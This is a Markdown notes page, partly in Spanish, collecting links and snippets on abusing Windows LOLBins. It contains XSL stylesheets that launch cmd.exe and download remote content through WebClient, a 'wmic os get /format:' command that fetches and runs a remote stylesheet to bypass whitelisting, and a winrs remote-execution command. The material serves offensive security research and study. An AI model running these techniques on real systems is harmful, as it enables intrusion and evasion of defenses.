#  LOLBin
https://twitter.com/search?q=%23LOLBin

# LOLBAS
* https://github.com/api0cradle/LOLBAS
* https://github.com/api0cradle/LOLBAS/tree/master/OSBinaries
* https://github.com/api0cradle/LOLBAS/tree/master/OSLibraries
* https://github.com/api0cradle/LOLBAS/tree/master/OSScripts
* https://github.com/api0cradle/LOLBAS/tree/master/OtherBinaries

# Mostrar los procesos que se están ejecutando en Windows con WMIC
https://www.jesusninoc.com/2018/05/01/mostrar-los-procesos-que-se-estan-ejecutando-en-windows-con-wmic/

# XML 
https://www.w3schools.com/xml/simplexsl.xml

# XSL
https://www.w3schools.com/xml/simple.xsl

# XSL que ejecuta CMD
https://gist.githubusercontent.com/caseysmithrc/68924cabbeca1285d2941298a5b91c24/raw/78065ca63504c9a0f41107137fbe861de487e4d4/minimalist
```XSL
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
	<ms:script implements-prefix="user" language="JScript">
	<![CDATA[
	var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
	]]> </ms:script>
</stylesheet>
```

# XSL que descarga
https://gist.githubusercontent.com/caseysmithrc/4932a527e326de68f3bd212913d02c78/raw/8dd9696e937a7e66972a2e95c0d65a83ec9e3d7c/dotnet.xsl
```XSL
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
	<ms:script implements-prefix="user" language="JScript">
	<![CDATA[
		
			
	var manifest = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?><assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1"><assemblyIdentity name="System" version="4.0.0.0" publicKeyToken="B77A5C561934E089" /><clrClass clsid="{7D458845-B4B8-30CB-B2AD-FC4960FCDF81}" progid="System.Net.WebClient" threadingModel="Both" name="System.Net.WebClient" runtimeVersion="v4.0.30319" /></assembly>';
	
	try {
		var ax = new ActiveXObject("Microsoft.Windows.ActCtx");
		ax.ManifestText = manifest;
		
		var obj = ax.CreateObject("System.Net.WebClient");
		var webstuff = obj.DownloadString("http://www.example.com");
		var a = new ActiveXObject("WScript.Shell").Popup(webstuff);
		
	} catch(e) {
		WScript.Echo("Error: " + e.message);
	}
	]]> </ms:script>
</stylesheet>
```

# WMIC.EXE Whitelisting Bypass - Hacking with Style, Stylesheets
https://subt0x11.blogspot.com.es/2018/04/wmicexe-whitelisting-bypass-hacking.html

```CMD
wmic os get /format:”https://gist.githubusercontent.com/caseysmithrc/68924cabbeca1285d2941298a5b91c24/raw/78065ca63504c9a0f41107137fbe861de487e4d4/minimalist”
```

# WMIKatz - Are you afraid
https://gist.github.com/caseysmithrc/9b53bc3c1201cdce5d2d8663d868ebc6

# Hack With XSLT
https://evi1cg.me/archives/Hack_With_XSLT.html

# CSharp, DotNetToJScript, XSL
https://rastamouse.me/2018/05/csharp-dotnettojscript-xsl/

# WInRm Via Use winrs .exe in Launch Command Remotely
```CMD
#EnableAccess  
winrm.exe quickconfig
winrs -r:http://#SystemName:5985 -u:Domain\#Username "calc.exe"
```
# Hacking around HTA files
http://blog.sevagas.com/?Hacking-around-HTA-files

# Obfuscated XSLT -- more difficult to get than obfuscated C
https://www.ibm.com/developerworks/community/blogs/HermannSW/entry/obfuxcated_xslt_more_difficult_to_get_than_obfuscated_c34?lang=en

# Explotando XXE con archivos DTD locales
https://www.hackplayers.com/2018/12/explotando-xxe-con-archivos-dtd-locales.html
